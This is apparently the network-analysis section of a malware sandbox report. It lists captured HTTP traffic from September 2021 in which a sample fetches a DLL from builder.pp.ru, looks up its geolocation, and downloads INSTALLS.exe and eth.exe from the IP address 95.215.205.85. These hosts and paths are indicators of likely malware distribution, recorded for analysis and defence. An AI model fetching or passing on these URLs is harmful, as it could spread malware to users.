Network Analysis

GET /testqcwqebqweqwe.dll HTTP/1.1 Host: builder.pp.ru Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 08 Sep 2021 00:46:22 GMT Server: Apache/2.4.25 (Debian) mod_fcgid/2.3.9 OpenSSL/1.0.2u Last-Modified: Sat, 04 Sep 2021 19:00:41 GMT ETag: "2ee00-5cb30084c0043" Accept-Ranges: bytes Content-Length: 192000 Connection: close Content-Type: application/x-msdos-program

GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 08 Sep 2021 00:46:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 347 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-cache Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L4LpYdnaIqlyVEoz7%2Fs3W93LMbKDj0GWOOj0NTI6z8jjJO8%2F3Nz81plSuFo6f3uRQk%2BsrkPLRWTrJKnEipmSUOTHb7keStMk%2FmqkgE6IHiCYxsddPkIj8r3MYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 68b4291e5b3e0a8e-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

GET /INSTALLS.exe HTTP/1.1 Host: 95.215.205.85 Connection: Keep-Alive

HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 07 Sep 2021 12:10:30 GMT Accept-Ranges: bytes ETag: "7535df59e1a3d71:0" Server: Microsoft-IIS/10.0 Date: Wed, 08 Sep 2021 00:46:23 GMT Content-Length: 119024

GET /eth.exe HTTP/1.1 Host: 95.215.205.85 Connection: Keep-Alive

HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 07 Sep 2021 04:53:06 GMT Accept-Ranges: bytes ETag: "0e5233fa4a3d71:0" Server: Microsoft-IIS/10.0 Date: Wed, 08 Sep 2021 00:47:01 GMT Content-Length: 1420800